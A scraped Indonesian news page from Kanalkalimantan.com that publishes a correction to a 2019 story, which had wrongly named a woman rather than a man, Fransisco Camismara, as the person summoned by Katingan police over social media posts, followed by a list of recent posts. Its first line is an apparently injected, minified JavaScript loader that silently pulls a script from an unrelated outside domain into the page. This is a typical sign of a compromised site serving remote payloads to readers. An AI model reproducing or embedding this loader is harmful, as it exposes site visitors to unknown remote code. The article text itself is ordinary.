(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Koreksi Berita: Tak Bijak di Medsos, Wanita Ini Dipanggil ke Polres Katingan


KATINGAN, Terkait berita Kanalkalimantan.com pada Senin 11 November 2019 yang berjudul Tak Bijak di Medsos, Wanita Ini Dipanggil  ke Polres Katingan (buka link ini), Fransisco Camismara (22), laki-laki warga jalan Pinggir Sei Katingan, Desa Telangkah, Kecamatan Katingan Hilir, mengajukan hak jawab dan hak sanggah berupa koreksi dan klarifikasi ke redaksi Kanalkalimantan.com.

Di dalam berita judul berita tersebut tertulis wanita, padahal yang dimaksud bukan seorang wanita tapi laki-laki. Sehingga seakan-akan wanita yang ada di dalam foto berita yang dipanggil Polres Katingan dan sedang menulis surat pernyataan itu adalah Fransisco Camismara. Padahal wanita tersebut hanya menjadi pendamping Fransisco Camismara saat mendatangi kantor Polres Katingan.

Polres Katingan kepada Kanalkalimantan.com melalui Humas Polres Katingan juga memastikan, wanita yang ada dalam foto tersebut tidak ikut dipanggil, tetapi hanya laki-laki atas nama Fransisco Camismara. Wanita dalam foto tersebut hanya mendampingi Fransisco Camismara ke Polres Katingan.

Juga pada paragraf berikut ini :

Menurut pengakuan wanita ini, kesehariannya ia tidak bekerja. Ia diduga menyebarkan informasi yang belum tentu kebenarannya tentang foto yang diduga ada pelanggaran oleh anggota kepolisian.

Wanita yang mendampingi Fransisco Camismara di Polres Katingan itu meminta klarifikasi Kanalkalimantan.com atas kekeliruan berita.

“Agar saya bisa memperbaiki persepsi buruk masyarakat pembaca yang membaca berita kemarin, karena kesalahan penulisan/kekeliruan mengenai berita tersebut membuat saya kurang nyaman dipandang masyarakat,”

Berdasarkan Peraturan Dewan Pers nomor 1/Peraturan-DP/III/2012 tentang Pedoman Pemberitaan Media Siber telah memberikan dasar mengenai ralat berita.

Butir ke-4 pedoman tersebut menyatakan:

Ralat, koreksi dan atau hak jawab wajib ditautkan pada berita yang diralat, dikoreksi atau yang diberi hak jawab.

Di setiap berita ralat, koreksi, dan hak jawab wajib dicantumkan waktu pemuatan ralat, koreksi, dan atau hak jawab tersebut. (redaksi)

Reporter : Redaksi
Editor : Redaksi

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.